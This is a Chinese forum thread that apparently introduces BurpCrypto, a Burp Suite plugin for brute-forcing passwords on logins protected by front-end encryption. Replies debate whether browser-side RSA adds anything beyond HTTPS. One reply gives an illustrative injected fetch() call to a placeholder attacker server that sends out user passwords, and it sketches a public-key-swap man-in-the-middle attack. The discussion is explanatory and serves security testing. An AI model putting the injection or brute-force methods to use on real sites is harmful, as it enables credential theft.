现在使用前端加密进行登陆的网站越来越多了，出于方便渗透测试中进行密码爆破，我开发了一个支持 AES/RSA/DES 加密算法，同时也支持将 js 代码直接复制进去执行的小插件。（ JS 执行完全在 Java 内部进行，不需要第三方软件）
该插件经测试可以在 BurpSuite 的 1.7.37~2020.12.1 版本中正常运行，同时插件完全开源，你可以自己下载源码使用 Idea 编译，或者在 Release 里下载已经编译好的版本，如果使用上遇到问题也欢迎提 Issue 、PR 。
项目地址： https://github.com/whwlsfb/BurpCrypto
使用说明： https://blog.wanghw.cn/security/burpcrypto-tutorial.html
AES 加密示例： 
如果觉得对你有帮助，请随手点个 star，谢谢啦~
实际上我参与的项目中，对称加密的项目还挺多的，很多 JS 文件还没有混淆，主这个可谓是省事了
题外话，明文传输、Base64 编码当加密的情况也不少，着实让人无语
———————————–
“`
中间人指的是如果处于不安全的网络环境中，直接传输明文密码可以被直接截取，而且整个过程完全可以自动化进行窃取。但是如果网站开发者使用了类似 RSA 等非对称加密算法对密码进行加密，如果窃取者没有私钥信息是无法解密的，也就保证了传输过程中的安全性。
“`
如果网站使用了 RSA 等非对称加密技术在网页中，请问中间人既然可以注入 JS 代码修改你的网页，为何不能直接扫描你的代码？ 拿到你的密钥？你的请求对中间人而言完全就是透明的。
在网页中使用 JS 来进行 RSA 加密保护自己。无非用窗帘当作门了，别人一拉就开了，完全没有必要，而且浪费了浏览器的算力。
你可以了解一下 HTTPS 协议，HTTPS 协议不仅仅只有 RSA 和 AES 进行互换密钥，还有证书认证 HTST 等等。
例如 源代码
const encode = (txt) => {
return newTxt;
}
通过中间人，直接修改 html 页面改成
const encode = (txt) => {
fetch(‘https:/攻击者服务器地址’)
return newTxt;
}
这样就把用户的密码完全上传到给服务器了
另外你说的证书认证确实能解决根证书的问题，但是除了银行和一些 zf 网站，有多少 https 网站会在访问时做证书验证？ HTST 也不是加密里面的概念，HTST 只是为了用户访问服务器保持使用 https 协议而已，对于通讯过程中的数据并没有参与。
那么就是
客户端 -> 公钥加密 -> 服务器 -> 私钥解密内容。
那么攻击手段
抓包 -> 注入 JS -> 客户端加密公钥信息 -> 服务器接收消息 -> 返回给客户端 -> 客户端解密 -> 执行 注入的 JS 程序
也就是，直接在你代码中修改发送数据，和接受数据，解密后的操作。 达到中间人攻击。
抓包 -> 将公钥替换为中间人的公钥 -> 客户端发送数据给中间人 -> 中间人私钥解密 -> 中间人拿到之前的公钥 -> 伪造数据发送给服务器 -> 服务器返回数据给中间人 -> 中间人采用自己的私钥加密 -> 客户端拿到信息用中间人的公钥来进行解密。
攻击成立，所以加密了一个寂寞~
所谓的前端 RSA 的加密，只不过是在手动实现浏览器的 https 协议，而且实现的还有漏洞。
如果你的代码前端加密，没有使用 https，那么和没加密无任何区别，别人一样可以发动中间人，在你网页中植入广告，注入 JS 盗取用户账号密码，盗取用户口令，以及黑掉别人页面。
“`
export function hash(passBin: Bytes, saltBin: Bytes, dkLen: number) {
mAsmU8.set(passBin, mPassPtr);
mAsmU8.set(saltBin, mSaltPtr);
mPassLen = passBin.length;
mSaltLen = saltBin.length;
mDkLen = dkLen;
mRunning = true;
mIterCur = 0;
mDoingCounter = 0;
mDoneCounter = 0;
// [B0, B1, …, Bp] <- PBKDF2(pass, salt)
mAsmObj._PBKDF2_OneIter(
mPassPtr, mPassLen,
mSaltPtr, mSaltLen,
mBlksPtr, mBlkLen * mArgP
);
// console.log(‘smix pre:’,
// bytesToHex(mAsmU8, mBlksPtr, mBlkLen * mArgP)
// );
for (let i = 0; i < mThreads; i++) {
task(mWorkerPool[i]);
}
}
“`
登入思路就是这个，跟踪一下 task 就知道了~
所以，对于防中间人，我觉得直接用 https 就行了，web 页面自己在做一层加密没有什么必要
对于 https 来说，如果电脑上信任了一些根证书，然后通过这个证书确实可以抓取 https 的数据，charles 这类的抓包软件就是这么实现的，如果是想着 web 页面自己加密数据，是为了防止 charles 这类的工具抓到明文数据，那么，实施攻击的人完全可以逆向 web 页面的逻辑，而发现加密的方法和证书什么的，
所以，这种情况下，web 页面自己做一层加密也没有起到很好的效果